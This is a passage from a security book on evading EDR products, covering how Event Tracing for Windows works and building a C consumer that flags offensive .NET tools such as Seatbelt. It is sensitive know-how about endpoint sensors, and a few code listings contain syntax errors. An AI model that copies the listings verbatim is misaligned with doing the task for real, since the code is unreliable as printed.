BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {NT AUTHORITY\SYSTEM: AccessAllowed, NT AUTHORITY\LOCAL SERVICE: AccessAllowed, BUILTIN\Administrators: AccessAllowed} SystemAcl : {} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor Listing 8-1: Evaluating the security descriptor applied to a provider Table 8-1: Default ETW Providers Relevant to Security Monitoring (continued) Evading EDR (Early Access) © 2023 by Matt Hand 146   Chapter 8 This command parses the binary security descriptor from the provider’s registry configuration using its GUID. It then uses the Win32_SecurityDescriptorHelper WMI class to convert the byte array in the registry to a security descriptor definition language string. This string is then passed to the PowerShell cmdlet ConvertFrom-SddlString to return the human-readable details of the security descriptor. By default, this security descriptor only allows access to NT AUTHORITY\SYSTEM, NT AUTHORITY\LOCAL SERVICE, and members of the local Administrators group. This means that controller code must be running as admin to directly interact with providers. Emitting Events Currently, four main technologies allow developers to emit events from their provider applications: Managed Object Format (MOF) MOF is the language used to define events so that consumers know how to ingest and process them. To register and write events using MOF, providers use the sechost!RegisterTraceGuids() and advapi!TraceEvent() functions, respectively. Windows Software Trace Preprocessor (WPP) Like the Windows Event Log, WPP is a system that lets the provider log an event ID and event data, initially in binary but later formatted to be human readable. WPP supports more complex data types than MOF, including timestamps and GUIDs, and acts as a supplement to MOF-based providers. Like MOF-based providers, WPP providers use the sechost!RegisterTraceGuids() and advapi!TraceEvent() functions to reg- ister and write events. WPP providers can also use the WPP_INIT_TRACING macro to register the provider GUID. Manifests Manifests are XML files containing the elements that define the provider, including details about the format of events and the pro- vider itself. These manifests are embedded in the provider binary at compilation time and registered with the system. Providers that use manifests rely on the advapi!EventRegister() function to register events and advapi!EventWrite() to write them. Today, this seems to be the most common way to register providers, especially those that ship with Windows. TraceLogging Introduced in Windows 10, TraceLogging is the newest technology for providing events. Unlike the other technologies, TraceLogging allows for self-describing events, meaning that no class or manifest needs to be registered with the system for the consumer to know how to pro- cess them. The consumer uses the Trace Data Helper (TDH) APIs to Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   147 decode and work with events. These providers use advapi!TraceLogging Register() and advapi!TraceLoggingWrite() to register and write events. Regardless of which method a developer chooses, the result is the same: events being emitted by their application for consumption by other applications. Locating Event Sources To understand why a provider is emitting certain events, it’s often helpful to look at the provider itself. Unfortunately, Windows doesn’t provide an easy way to translate a provider’s name or GUID into an image on disk. You can sometimes collect this information from the event’s metadata, but in many cases, such as when the event source is a DLL or a driver, discovering it requires more effort. In these situations, try considering the following attri- butes of ETW providers: • The provider’s PE file must reference its GUID, most commonly in the .rdata section, which holds read-only initialized data. • The provider must be an executable code file, typically a .exe, .dll, or .sys. • The provider must call a registration API (specifically, advapi!EventRegister() or ntdll!EtwEventRegister() for user-mode applica- tions and ntoskrnl!EtwRegister() for kernel-mode components). • If using a manifest registered with the system, the provider image will be in the ResourceFileName value in the registry key HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_ GUID>.This file will contain a WEVT_TEMPLATE resource, which is the binary representation of the manifest. You could conduct a scan of files on the operating system and return those that satisfy these requirements. The open source FindETWProviderImage tool available on GitHub makes this process easy. Listing 8-2 uses it to locate images that reference the GUID of the Microsoft-Windows-TaskScheduler provider. PS > .\FindETWProviderImage.exe "Microsoft-Windows-TaskScheduler" "C:\Windows\System32\" Translated Microsoft-Windows-TaskScheduler to {de7b24ea-73c8-4a09-985d-5bdadcfa9017} Found provider in the registry: C:\WINDOWS\system32\schedsvc.dll Searching 5486 files for {de7b24ea-73c8-4a09-985d-5bdadcfa9017} ... Target File: C:\Windows\System32\aitstatic.exe Registration Function Imported: True Found 1 reference: 1) Offset: 0x2d8330 RVA: 0x2d8330 (.data) Target File: C:\Windows\System32\schedsvc.dll Registration Function Imported: True Found 2 references: 1) Offset: 0x6cb78 RVA: 0x6d778 (.rdata) 2) Offset: 0xab910 RVA: 0xaf110 (.pdata) Evading EDR (Early Access) © 2023 by Matt Hand 148   Chapter 8 Target File: C:\Windows\System32\taskcomp.dll Registration Function Imported: False Found 1 reference: 1) Offset: 0x39630 RVA: 0x3aa30 (.rdata) Target File: C:\Windows\System32\ubpm.dll Registration Function Imported: True Found 1 reference: 1) Offset: 0x38288 RVA: 0x39a88 (.rdata) Total References: 5 Time Elapsed: 1.168 seconds Listing 8-2: Using FindETWProviderImage to locate provider binaries If you consider the output, you’ll see that this approach has some gaps. For example, the tool returned the true provider of the events, schedsvc.dll, but also three other images. These false positives might occur because images consume events from the target provider and so contain the provider’s GUID, or because they produce their own events and so import one of the registration APIs. This method might also produce false negatives; for example, when the source of an event is ntoskrnl.exe, the image won’t be found in the registry or import either of the registra- tion functions. To confirm the identity of the provider, you must investigate an image further. You can do this using a relatively simple methodology. In a dis- assembler, navigate to the offset or relative virtual address reported by FindETWProviderImage and look for any references to the GUID coming from a function that calls a registration API. You should see the address of the GUID being passed to the registration function in the RCX register, as shown in Listing 8-3. schedsvc!JobsService::Initialize+0xcc: 00007ffe`74096f5c 488935950a0800 mov qword ptr [schedsvc!g_pEventManager],rsi 00007ffe`74096f63 4c8bce mov r9,rsi 00007ffe`74096f66 4533c0 xor r8d,r8d 00007ffe`74096f69 33d2 xor edx,edx 00007ffe`74096f6b 488d0d06680400 lea rcx,[schedsvc!TASKSCHED] 1 00007ffe`74096f72 48ff150f570400 call qword ptr [schedsvc!_imp_EtwEventRegister 2 00007ffe`74096f79 0f1f440000 nop dword ptr [rax+rax] 00007ffe`74096f7e 8bf8 mov edi,eax 00007ffe`74096f80 48391e cmp qword ptr [rsi],rbx 00007ffe`74096f83 0f84293f0100 je schedsvc!JobsService::Initialize+0x14022 Listing 8-3: Disassembly of the provider registration function inside schedsvc.dll In this disassembly, there are two instructions of interest to us. The first is the address of the provider GUID being loaded into RCX 1. This is immediately followed by a call to the imported ntdll!EtwEventRegister() function 2 to register the provider with the operating system. Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   149 Figuring Out Why an Event Was Emitted At this point, you’ve identified the provider. From here, many detection engineers begin looking into what conditions triggered the provider to emit the event. The details of this process are outside the scope of this book, as they can differ substantially based on the provider, although we’ll cover the topic in greater depth in Chapter 11. Typically, however, the workflow looks as follows. In a disassembler, mark the REGHANDLE returned from the event registration API, then look for references to this REGHANDLE from a function that writes ETW events, such as ntoskrnl!EtwWrite(). Step through the function, looking for the source of the UserData parameter passed to it. Follow execution from this source to the event-writing func- tion, checking for conditional branches that would prevent the event from being emitted. Repeat these steps for each unique reference to the global REGHANDLE. Controllers Controllers are the components that define and control trace sessions, which record events written by providers and flush them to the event consumers. The controller’s job includes starting and stopping sessions, enabling or disabling providers associated with a session, and managing the size of the event buffer pool, among other things. A single applica- tion might contain both controller and consumer code; alternatively, the controller can be a separate application entirely, as in the case of Xperf and logman, two utilities that facilitate collecting and processing ETW events. Controllers create trace sessions using the sechost!StartTrace() API and configure them using sechost!ControlTrace() and advapi!EnableTraceEx() or sechost!EnableTraceEx2(). On Windows XP and later, controllers can start and manage a maximum of 64 simultaneous trace sessions. To view these trace sessions, use logman, as shown in Listing 8-4. PS > logman.exe query -ets Data Collector Set Type Status AppModel Trace Running BioEnrollment Trace Running Diagtrack-Listener Trace Running FaceCredProv Trace Running FaceTel Trace Running LwtNetLog Trace Running Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace Trace Running NetCore Trace Running NtfsLog Trace Running RadioMgr Trace Running WiFiDriverIHVSession Trace Running WiFiSession Trace Running Evading EDR (Early Access) © 2023 by Matt Hand 150   Chapter 8 UserNotPresentTraceSession Trace Running NOCAT Trace Running Admin_PS_Provider Trace Running WindowsUpdate_trace_log Trace Running MpWppTracing-20220120-151932-00000003-ffffffff Trace Running SHS-01202022-151937-7-7f Trace Running SgrmEtwSession Trace Running Listing 8-4: Enumerating trace sessions with logman.exe Each name under the Data Collector Set column represents a unique controller with its own subordinate trace sessions. The controllers shown in Listing 8-4 are built into Windows, as the operating system also makes heavy use of ETW for activity monitoring. Controllers can also query existing traces to get information. Listing 8-5 shows this in action. PS > logman.exe query 'EventLog-System' -ets Name: EventLog-System Status: Running Root Path: %systemdrive%\PerfLogs\Admin Segment: Off Schedules: On Segment Max Size: 100 MB Name: EventLog-System\EventLog-System Type: Trace Append: Off Circular: Off Overwrite: Off Buffer Size: 64 Buffers Lost: 0 Buffers Written: 155 Buffer Flush Timer: 1 Clock Type: System 1 File Mode: Real-time Provider: 2 Name: Microsoft-Windows-FunctionDiscoveryHost Provider Guid: {538CBBAD-4877-4EB2-B26E-7CAEE8F0F8CB} Level: 255 KeywordsAll: 0x0 3 KeywordsAny: 0x8000000000000000 (System) Properties: 65 Filter Type: 0 Provider: Name: Microsoft-Windows-Subsys-SMSS Provider Guid: {43E63DA5-41D1-4FBF-ADED-1BBED98FDD1D} Level: 255 KeywordsAll: 0x0 KeywordsAny: 0x4000000000000000 (System) Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   151 Properties: 65 Filter Type: 0 --snip-- Listing 8-5: Using logman.exe to query a specific trace This query provides us with information about the providers enabled in the session 2 and the filtering keywords in use 3, whether it is a real-time or file-based trace 1, and performance figures. With this information, we can start to understand whether the trace is a form of performance moni- toring or telemetry collection by an EDR. Consumers Consumers are the software components that receive events after they’ve been recorded by a trace session. They can either read events from a logfile on disk or consume them in real time. Because nearly every EDR agent is a real-time consumer, we’ll focus exclusively on those. Consumers use sechost!OpenTrace() to connect to the real-time session and sechost!ProcessTrace() to start consuming events from it. Each time the consumer receives a new event, an internally defined callback function parses the event data based on information supplied by the provider, such as the event manifest. The consumer can then choose to do whatever it likes with the information. In the case of endpoint security software, this may mean creating an alert, taking some preventive actions, or correlating the activity with telemetry collected by another sensor. Creating a Consumer to Identify Malicious .NET Assemblies Let’s walk through the process of developing a consumer and working with events. In this section, we’ll identify the use of malicious in-memory .NET framework assemblies, such as those employed by Cobalt Strike’s Beacon execute-assembly functionality. One strategy for identifying these assem- blies is to look for class names belonging to known offensive C# projects. Although attackers can easily defeat this technique by changing the names of their malware’s classes and methods, it can be an effective way to identify the use of unmodified tools by less sophisticated actors. Our consumer will ingest filtered events from the Microsoft-Windows- DotNETRuntime provider, specifically watching for classes associated with Seatbelt, a post-exploitation Windows reconnaissance tool. Creating a Trace Session To begin consuming events, we must first create a trace session using the sechost!StartTrace() API. This function takes a pointer to an EVENT_TRACE _PROPERTIES structure, defined in Listing 8-6. (On systems running versions of Windows later than 1703, the function could choose to take a pointer to an EVENT_TRACE_PROPERTIES_V2 structure instead.) Evading EDR (Early Access) © 2023 by Matt Hand 152   Chapter 8 typedef struct _EVENT_TRACE_PROPERTIES { WNODE_HEADER Wnode; ULONG BufferSize; ULONG MinimumBuffers; ULONG MaximumBuffers; ULONG MaximumFileSize; ULONG LogFileMode; ULONG FlushTimer; ULONG EnableFlags; union { LONG AgeLimit; LONG FlushThreshold; } DUMMYUNIONNAME; ULONG NumberOfBuffers; ULONG FreeBuffers; ULONG EventsLost; ULONG BuffersWritten; ULONG LogBuffersLost; ULONG RealTimeBuffersLost; HANDLE LoggerThreadId; ULONG LogFileNameOffset; ULONG LoggerNameOffset; } EVENT_TRACE_PROPERTIES, *PEVENT_TRACE_PROPERTIES; Listing 8-6: The EVENT_TRACE_PROPERTIES structure definition This structure describes the trace session. The consumer will populate it and pass it to a function that starts the trace session, as shown in Listing 8-7. static const GUID g_sessionGuid = { 0xb09ce00c, 0xbcd9, 0x49eb, { 0xae, 0xce, 0x42, 0x45, 0x1, 0x2f, 0x97, 0xa9 } }; static const WCHAR g_sessionName[] = L"DotNETEventConsumer"; int main() { ULONG ulBufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(g_sessionName); PEVENT_TRACE_PROPERTIES pTraceProperties = (PEVENT_TRACE_PROPERTIES)malloc(ulBufferSize); if (!pTraceProperties) { return ERROR_OUTOFMEMORY; } ZeroMemory(pTraceProperties, ulBufferSize); pTraceProperties->Wnode.BufferSize = ulBufferSize; pTraceProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID; pTraceProperties->Wnode.ClientContext = 1; pTraceProperties->Wnode.Guid = g_sessionGuid; pTraceProperties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE; pTraceProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   153 wcscpy_s( (PWCHAR)(pTraceProperties + 1), wcslen(g_sessionName) + 1, g_sessionName); DWORD dwStatus = 0; TRACEHANDLE hTrace = NULL; while (TRUE) { dwStatus = StartTraceW( &hTrace, g_sessionName, pTraceProperties); if (dwStatus == ERROR_ALREADY_EXISTS) { dwStatus = ControlTraceW( hTrace, g_sessionName, pTraceProperties, EVENT_TRACE_CONTROL_STOP); } if (dwStatus != ERROR_SUCCESS) { return dwStatus; } --snip-- } Listing 8-7: Configuring trace properties We populate the WNODE_HEADER structure pointed to in the trace proper- ties. Note that the Guid member contains the GUID of the trace session, not of the desired provider. Additionally, the LogFileMode member of the trace properties structure is usually set to EVENT_TRACE_REAL_TIME_MODE to enable real-time event tracing. Enabling Providers The trace session isn’t yet collecting events, as no providers have been enabled for it. To add providers, we use the sechost!EnableTraceEx2() API. This function takes the TRACEHANDLE returned earlier as a parameter and is defined in Listing 8-8. ULONG WMIAPI EnableTraceEx2( [in] TRACEHANDLE TraceHandle, [in] LPCGUID ProviderId, [in] ULONG ControlCode, [in] UCHAR Level, [in] ULONGLONG MatchAnyKeyword, [in] ULONGLONG MatchAllKeyword, Evading EDR (Early Access) © 2023 by Matt Hand 154   Chapter 8 [in] ULONG Timeout, [in, optional] PENABLE_TRACE_PARAMETERS EnableParameters ); Listing 8-8: The sechost!EnableTraceEx2() function definition The ProviderId parameter is the target provider’s GUID, and the Level parameter determines the severity of the events passed to the consumer. It can range from TRACE_LEVEL_VERBOSE (5) to TRACE_LEVEL_CRITICAL (1). The consumer will receive any events whose level is less than or equal to the specified value. The MatchAllKeyword parameter is a bitmask that allows an event to be writ- ten only if the event’s keyword bits match all the bits set in this value (or if the event has no keyword bits set). In most cases, this member is set to zero. The MatchAnyKeyword parameter is a bitmask that allows an event to be written only if the event’s keyword bits match any of the bits set in this value. The EnableParameters parameter allows the consumer to receive one or more extended data items in each event, including but not limited to the following: EVENT_ENABLE_PROPERTY_PROCESS_START_KEY A sequence number that identi- fies the process, guaranteed to be unique to the current boot session EVENT_ENABLE_PROPERTY_SID The security identifier of the principal, such as a user of the system, under which the event was emitted EVENT_ENABLE_PROPERTY_TS_ID The terminal session identifier under which the event was emitted EVENT_ENABLE_PROPERTY_STACK_TRACE Value that adds a call stack if the event was written using the advapi!EventWrite() API The sechost!EnableTraceEx2() API can add any number of providers to a trace session, each with its own filtering configurations. Listing 8-9 contin- ues the code in Listing 8-7 by demonstrating how this API is commonly used. 1 static const GUID g_providerGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } }; int main() { --snip-- dwStatus = EnableTraceEx2( hTrace, &g_providerGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER, TRACE_LEVEL_INFORMATION, 2 0x2038, 0, INFINITE, NULL); Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   155 if (dwStatus != ERROR_SUCCESS) { goto Cleanup; } --snip-- } Listing 8-9: Configuring a provider for the trace session We add the Microsoft-Windows-DotNETRuntime provider 1 to the trace session and set MatchAnyKeyword to use the Interop (0x2000), NGen (0x20), Jit (0x10), and Loader (0x8) keywords 2. These keywords allow us to filter out events that we’re not interested in and collect only those relevant to what we’re trying to monitor. Starting the Trace Session After we’ve completed all of these preparatory steps, we can start the trace session. To do so, an EDR agent would call sechost!OpenTrace() with a pointer to an EVENT_TRACE_LOGFILE, defined in Listing 8-10, as its only parameter. typedef struct _EVENT_TRACE_LOGFILEW { LPWSTR LogFileName; LPWSTR LoggerName; LONGLONG CurrentTime; ULONG BuffersRead; union { ULONG LogFileMode; ULONG ProcessTraceMode; } DUMMYUNIONNAME; EVENT_TRACE CurrentEvent; TRACE_LOGFILE_HEADER LogfileHeader; PEVENT_TRACE_BUFFER_CALLBACKW BufferCallback; ULONG BufferSize; ULONG Filled; ULONG EventsLost; union { PEVENT_CALLBACK EventCallback; PEVENT_RECORD_CALLBACK EventRecordCallback; } DUMMYUNIONNAME2; ULONG IsKernelTrace; PVOID Context; } EVENT_TRACE_LOGFILEW, *PEVENT_TRACE_LOGFILEW; Listing 8-10: The EVENT_TRACE_LOGFILE structure definition Listing 8-11 demonstrates how to use this structure. int main() { --snip-- EVENT_TRACE_LOGFILEW etl = { 0 }; Evading EDR (Early Access) © 2023 by Matt Hand 156   Chapter 8 1 etl.LoggerName = g_sessionName; 2 etl.ProcessTraceMode = PROCESS_TRACE_MODE_EVENT_RECORD | PROCESS_TRACE_MODE_REAL_TIME; 3 etl.EventRecordCallback = OnEvent; TRACEHANDLE hSession = NULL; hSession = OpenTrace(&etl); if (hSession == INVALID_PROCESSTRACE_HANDLE) { goto Cleanup; } --snip-- } Listing 8-11: Passing the EVENT_TRACE_LOGFILE structure to sechost!OpenTrace() While this is a relatively large structure, only three of the members are immediately relevant to us. The LoggerName member is the name of the trace session 1, and ProcessTraceMode is a bitmask containing the values for PROCESS_TRACE_MODE_EVENT_RECORD (0x10000000), to indicate that events should use the EVENT_RECORD format introduced in Windows Vista, as well as PROCESS _TRACE_MODE_REAL_TIME (0x100), to indicate that events should be received in real time 2. Lastly, EventRecordCallback is a pointer to the internal callback function 3 (covered shortly) that ETW calls for each new event, passing it an EVENT_RECORD structure. When sechost!OpenTrace() completes, it returns a new TRACEHANDLE (hSession, in our example). We can then pass this handle to sechost!ProcessTrace(), as shown in Listing 8-12, to start processing events. void ProcessEvents(PTRACEHANDLE phSession) { FILETIME now; 1 GetSystemTimeAsFileTime(&now); ProcessTrace(phSession, 1, &now, NULL); } int main() { --snip-- HANDLE hThread = NULL; 2 hThread = CreateThread( NULL, 0, ProcessEvents, &hSession, 0, NULL); if (!hThread) { goto Cleanup; } Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   157 --snip-- } Listing 8-12: Creating the thread to process events We pass the current system time 1 to sechost!ProcessTrace() to tell the system that we want to capture events occurring after this time only. When called, this function will take control of the current thread, so to avoid com- pletely blocking the rest of the application, we create a new thread 2 just for the trace session. Assuming no errors were returned, events should start flowing from the provider to the consumer, where they’ll be processed by the internal callback function specified in the EventRecordCallback member of the EVENT _TRACE_LOGFILE structure. We’ll cover this function in “Processing Events” on page XX. Stopping the Trace Session Finally, we need a way to stop the trace as needed. One way to do this is to use a global Boolean value that we can flip when we need the trace to stop, but any technique that signals a thread to exit would work. However, if an outside user can invoke the method used (in the case of an unchecked RPC function, for example), a malicious user might be able to stop the agent from collecting events via the trace session altogether. Listing 8-13 shows how stop- ping the trace might work. HANDLE g_hStop = NULL; BOOL ConsoleCtrlHandler(DWORD dwCtrlType) { 1 if (dwCtrlType == CTRL_C_EVENT) { 2 SetEvent(g_hStop); return TRUE; } return FALSE; } int main() { --snip-- g_hStop = CreateEvent(NULL, TRUE, FALSE, NULL); SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE); WaitForSingleObject(g_hStop, INFINITE); 3 CloseTrace(hSession); WaitForSingleObject(hThread, INFINITE); CloseHandle(g_hStop); CloseHandle(hThread); return dwStatus } Listing 8-13: Using a console control handler to signal a thread exit Evading EDR (Early Access) © 2023 by Matt Hand 158   Chapter 8 In this example, we use an internal console control handler routine, ConsoleCtrlHandler(), and an event object that watches for the ctrl-c key- board combination 1. When the handler observes this keyboard combi- nation, the internal function notifies the event object 2, a synchronization object commonly used to tell a thread that some event has occurred, and returns. Because the event object has been signaled, the application resumes its execution and closes the trace session 3. Processing Events When the consumer thread receives a new event, its callback function (OnEvent() in our example code) is invoked with a pointer to an EVENT_RECORD structure. This structure, defined in Listing 8-14, represents the entirety of the event. typedef struct _EVENT_RECORD { EVENT_HEADER EventHeader; ETW_BUFFER_CONTEXT BufferContext; USHORT ExtendedDataCount; USHORT UserDataLength; PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData; PVOID UserData; PVOID UserContext; } EVENT_RECORD, *PEVENT_RECORD; Listing 8-14: The EVENT_RECORD structure definition This structure might seem simple at first glance, but it could contain a huge amount of information. The first field, EventHeader, holds basic event metadata, such as the process ID of the provider binary; a timestamp; and an EVENT_DESCRIPTOR, which describes the event itself in detail. The ExtendedData member matches the data passed in the EnableProperty param- eter of sechost!EnableTraceEx2(). This field is a pointer to an EVENT_HEADER _EXTENDED_DATA_ITEM, defined in Listing 8-15. typedef struct _EVENT_HEADER_EXTENDED_DATA_ITEM { USHORT Reserved1; USHORT ExtType; struct { USHORT Linkage : 1; USHORT Reserved2 : 15; }; USHORT DataSize; ULONGLONG DataPtr; } EVENT_HEADER_EXTENDED_DATA_ITEM, *PEVENT_HEADER_EXTENDED_DATA_ITEM; Listing 8-15: The EVENT_HEADER_EXTENDED_DATA_ITEM structure definition The ExtType member contains an identifier (defined in eventcons.h and shown in Listing 8-16) that tells the consumer to which data type the DataPtr member points. Note that a significant number of values defined Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   159 in the headers are not formally supported for the callers of the API in Microsoft’s documentation. #define EVENT_HEADER_EXT_TYPE_RELATED_ACTIVITYID 0x0001 #define EVENT_HEADER_EXT_TYPE_SID 0x0002 #define EVENT_HEADER_EXT_TYPE_TS_ID 0x0003 #define EVENT_HEADER_EXT_TYPE_INSTANCE_INFO 0x0004 #define EVENT_HEADER_EXT_TYPE_STACK_TRACE32 0x0005 #define EVENT_HEADER_EXT_TYPE_STACK_TRACE64 0x0006 #define EVENT_HEADER_EXT_TYPE_PEBS_INDEX 0x0007 #define EVENT_HEADER_EXT_TYPE_PMC_COUNTERS 0x0008 #define EVENT_HEADER_EXT_TYPE_PSM_KEY 0x0009 #define EVENT_HEADER_EXT_TYPE_EVENT_KEY 0x000A #define EVENT_HEADER_EXT_TYPE_EVENT_SCHEMA_TL 0x000B #define EVENT_HEADER_EXT_TYPE_PROV_TRAITS 0x000C #define EVENT_HEADER_EXT_TYPE_PROCESS_START_KEY 0x000D #define EVENT_HEADER_EXT_TYPE_CONTROL_GUID 0x000E #define EVENT_HEADER_EXT_TYPE_QPC_DELTA 0x000F #define EVENT_HEADER_EXT_TYPE_CONTAINER_ID 0x0010 #define EVENT_HEADER_EXT_TYPE_MAX 0x0011 Listing 8-16: The EVENT_HEADER_EXT_TYPE constants This ExtendedData member of the EVENT_RECORD contains valuable data, but agents typically use it to supplement other sources, particularly the UserData member of the EVENT_RECORD. This is where things get a little tricky, as Microsoft states that, in almost all cases, we must retrieve this data using the TDH APIs. We’ll walk through this process in our callback function, but keep in mind that this example represents only one approach to extracting rel- evant information and may not reflect production code. To begin process- ing the event data, the agent calls tdh!TdhGetEventInformation(), as shown in Listing 8-17. void CALLBACK OnEvent(PEVENT_RECORD pRecord) { ULONG ulSize = 0; DWORD dwStatus = 0; PBYTE pUserData = (PBYTE)pRecord->UserData; dwStatus = TdhGetEventInformation(pRecord, 0, NULL, NULL, &ulSize); PTRACE_EVENT_INFO pEventInfo = (PTRACE_EVENT_INFO)malloc(ulSize); if (!pEventInfo) { // Exit immediately if we’re out of memory ExitProcess(ERROR_OUTOFMEMORY); } dwStatus = TdhGetEventInformation( pRecord, 0, NULL, Evading EDR (Early Access) © 2023 by Matt Hand 160   Chapter 8 pEventInfo, &ulSize); if (dwStatus != ERROR_SUCCESS) { return; } --snip-- } Listing 8-17: Beginning to process event data After allocating memory of the required size, we pass a pointer to a TRACE_EVENT_INFO structure, as the first parameter to the function. Listing 8-18 defines this structure. typedef struct _TRACE_EVENT_INFO { GUID ProviderGuid; GUID EventGuid; EVENT_DESCRIPTOR EventDescriptor; 1 DECODING_SOURCE DecodingSource; ULONG ProviderNameOffset; ULONG LevelNameOffset; ULONG ChannelNameOffset; ULONG KeywordsNameOffset; ULONG TaskNameOffset; ULONG OpcodeNameOffset; ULONG EventMessageOffset; ULONG ProviderMessageOffset; ULONG BinaryXMLOffset; ULONG BinaryXMLSize; union { ULONG EventNameOffset; ULONG ActivityIDNameOffset; }; union { ULONG EventAttributesOffset; ULONG RelatedActivityIDNameOffset; }; ULONG PropertyCount; ULONG TopLevelPropertyCount; union { TEMPLATE_FLAGS Flags; struct { ULONG Reserved : 4; ULONG Tags : 28; }; }; 2 EVENT_PROPERTY_INFO EventPropertyInfoArray[ANYSIZE_ARRAY]; } TRACE_EVENT_INFO; Listing 8-18: The TRACE_EVENT_INFO structure definition Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   161 When the function returns, it will populate this structure with useful metadata, such as the DecodingSource 1, used to identify how the event is defined (in an instrumentation manifest, MOF class, or WPP template). But the most important value is EventPropertyInfoArray 2, an array of EVENT_PROPERTY_INFO structures, defined in Listing 8-19, that provides information about each property of the EVENT_RECORD’s UserData member. typedef struct _EVENT_PROPERTY_INFO { 1 PROPERTY_FLAGS Flags; ULONG NameOffset; union { struct { USHORT InType; USHORT OutType; ULONG MapNameOffset; } nonStructType; struct { USHORT StructStartIndex; USHORT NumOfStructMembers; ULONG padding; } structType; struct { USHORT InType; USHORT OutType; ULONG CustomSchemaOffset; } customSchemaType; }; union { 2 USHORT count; USHORT countPropertyIndex; }; union { 3 USHORT length; USHORT lengthPropertyIndex; }; union { ULONG Reserved; struct { ULONG Tags : 28; }; }; } EVENT_PROPERTY_INFO; Listing 8-19: The EVENT_PROPERTY_INFO struct We must parse each structure in the array individually. First, it gets the length of the property with which it is working. This length is depen- dent on the way in which the event is defined (for example, MOF versus manifest). Generally, we derive the size of the property either from the length member 3, from the size of a known data type (such as the size of an unsigned long, or ulong), or by calling tdh!TdhGetPropertySize(). If the property itself is an array, we need to retrieve its size by either evaluating the count member 2 or calling tdh!TdhGetPropertySize() again. Evading EDR (Early Access) © 2023 by Matt Hand 162   Chapter 8 Next, we need to determine whether the data being evaluated is itself a structure. Since the caller typically knows the format of the data with which they’re working, this isn’t difficult in most cases and generally only becomes relevant when parsing events from unfamiliar providers. If an agent does need to work with structures inside events, however, the Flags member 1 will include the PropertyStruct (0x1) flag. When the data isn’t a structure, as in the case of the Microsoft- Windows-DotNETRuntime provider, it will be a simple value mapping, and we can get this map information using tdh!TdhGetEventMapInformation(). This function takes a pointer to the TRACE_EVENT_INFO, as well as a pointer to the map name offset, which it can access via the MapNameOffset member. On completion, it receives a pointer to an EVENT_MAP_INFO structure, defined in Listing 8-20, which defines the metadata about the event map. typedef struct _EVENT_MAP_INFO { ULONG NameOffset; MAP_FLAGS Flag; ULONG EntryCount; union { MAP_VALUETYPE MapEntryValueType; ULONG FormatStringOffset; }; EVENT_MAP_ENTRY MapEntryArray[ANYSIZE_ARRAY]; } EVENT_MAP_INFO; Listing 8-20: The EVENT_MAP_INFO structure definition Listing 8-21 shows how our callback function uses this structure. void CALLBACK OnEvent(PEVENT_RECORD pRecord) { --snip-- WCHAR pszValue[512]; USHORT wPropertyLen = 0; ULONG ulPointerSize = (pRecord->EventHeader.Flags & EVENT_HEADER_FLAG_32_BIT_HEADER) ? 4 : 8; USHORT wUserDataLen = pRecord->UserDataLength; 1 for (USHORT i = 0; i < pEventInfo->TopLevelPropertyCount; i++) { EVENT_PROPERTY_INFO propertyInfo = pEventInfo->EventPropertyInfoArray[i]; PCWSTR pszPropertyName = PCWSTR)((BYTE*)pEventInfo + propertyInfo.NameOffset); wPropertyLen = propertyInfo.length; 2 if ((propertyInfo.Flags & PropertyStruct | PropertyParamCount)) != 0) { return; } PEVENT_MAP_INFO pMapInfo = NULL; Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   163 PWSTR mapName = NULL; 3 if (propertyInfo.nonStructType.MapNameOffset) { ULONG ulMapSize = 0; mapName = (PWSTR)((BYTE*)pEventInfo + propertyInfo.nonStructType.MapNameOffset); dwStatus = TdhGetEventMapInformation( pRecord, mapName, pMapInfo, &ulMapSize); if (dwStatus == ERROR_INSUFFICIENT_BUFFER) { pMapInfo = (PEVENT_MAP_INFO)malloc(ulMapSize); 4 dwStatus = TdhGetEventMapInformation( pRecord, mapName, pMapInfo, &ulMapSize); if (dwStatus != ERROR_SUCCESS) { pMapInfo = NULL; } } } --snip-- } Listing 8-21: Parsing the event map information To parse the events that the provider emits, we iterate over every top- level property in the event by using the total count of properties found in TopLevelPropertyCount for the trace event information structure 1. Then, if we’re not dealing with a structure 2 and the offset to the name of the member is present 3, we pass the offset to tdh!TdhGetEventMapInformation() 4 to get the event map information. At this point, we’ve collected all the pieces of information required to fully parse the event data. Next, we call tdh!TdhFormatProperty(), passing in the information we collected previously. Listing 8-22 shows this function in action. void CALLBACK OnEvent(PEVENT_RECORD pRecord) { --snip-- ULONG ulBufferSize = sizeof(pszValue); USHORT wSizeConsumed = 0; dwStatus = TdhFormatProperty( pEventInfo, pMapInfo, Evading EDR (Early Access) © 2023 by Matt Hand 164   Chapter 8 ulPointerSize, propertyInfo.nonStructType.InType, propertyInfo.nonStructType.OutType, wPropertyLen, wUserDataLen, pUserData, &ulBufferSize, 1 pszValue, &wSizeConsumed); if (dwStatus == ERROR_SUCCESS) { --snip-- wprintf(L"%s: %s\n", 2 pszPropertyName, pszValue); --snip-- } --snip-- } Listing 8-22: Retrieving event data with tdh!TdhFormatProperty() After the function completes, the name of the property (as in the key portion of the key-value pair) will be stored in the NameOffset member of the event map information structure (which we’ve stored in the pszPropertyName variable 2, for brevity). Its value will be stored in the buffer passed into tdh!TdhFormatProperty() as the Buffer parameter 1 (pszValue, in our example). Testing the Consumer The snippet shown in 